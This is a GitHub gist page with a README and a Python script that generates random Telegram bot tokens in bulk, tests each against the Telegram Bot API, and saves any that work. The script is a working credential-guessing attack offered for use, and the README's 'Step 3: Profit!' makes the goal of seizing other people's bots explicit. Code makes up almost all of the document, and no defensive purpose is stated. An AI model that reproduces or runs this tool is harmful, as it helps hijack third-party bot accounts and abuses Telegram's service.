Skip to content

Instantly share code, notes, and snippets.

@crock
Last active August 1, 2021 06:42
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save crock/64e1d0b1f827cf13dd8daf6882c63d9b to your computer and use it in GitHub Desktop.
Save crock/64e1d0b1f827cf13dd8daf6882c63d9b to your computer and use it in GitHub Desktop.
Telegram Token Finder
identifiers.txt
tokens.txt

Telegram Token Finder

The purpose of this tool is to generate seemingly legitimate looking Telegram bot tokens and then check to see if they are active.

Usage

Step 1: Run the following command to install the dependency:

python -m pip install requests

Step 2: Run the script like this. One of these ways should work for you depending on how you have your computer setup.

python telegram-token-finder.py
./telegram-token-finder.py

If all else fails, you can try double clicking the file like a regular EXE file.

Step 3: Profit!

#!python
import random
import string
import requests
import json
import sys
import os
# Constants
TOTAL_IDENTIFIERS = 5000
NUMBER_LENGTH = 10
STRING_LENGTH = 33
ALLOWED_CHARACTERS = string.ascii_letters + string.digits + "-_"
# Script below
if os.path.isfile('identifiers.txt'):
os.remove('identifiers.txt')
for _ in range(TOTAL_IDENTIFIERS):
randomNumber = ''.join(random.choice(string.digits) for x in range(NUMBER_LENGTH))
randomString = ''.join(random.choice(ALLOWED_CHARACTERS) for x in range(STRING_LENGTH))
identifier = "{}:AA{}".format(randomNumber, randomString)
with open('identifiers.txt', 'a') as fp:
fp.write(identifier + '\n')
print(identifier)
sys.tracebacklimit=0
def check(token):
url = "https://api.telegram.org/bot{}/getme".format(token)
response = requests.get(url)
if bool(response.json()['ok']):
output = "{} - Success!".format(token)
print(output)
with open('tokens.txt', 'a') as fp:
fp.write(token)
else:
output = "{} - Not Found".format(token)
print(output)
identifiers = []
if os.path.isfile('identifiers.txt'):
with open('identifiers.txt', 'r') as fp:
identifiers = fp.readlines()
for index in range(1, len(identifiers)):
token = identifiers[index - 1].replace('\n', '')
check(token)
else:
print('Cannot find file identifiers.txt')
exit()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment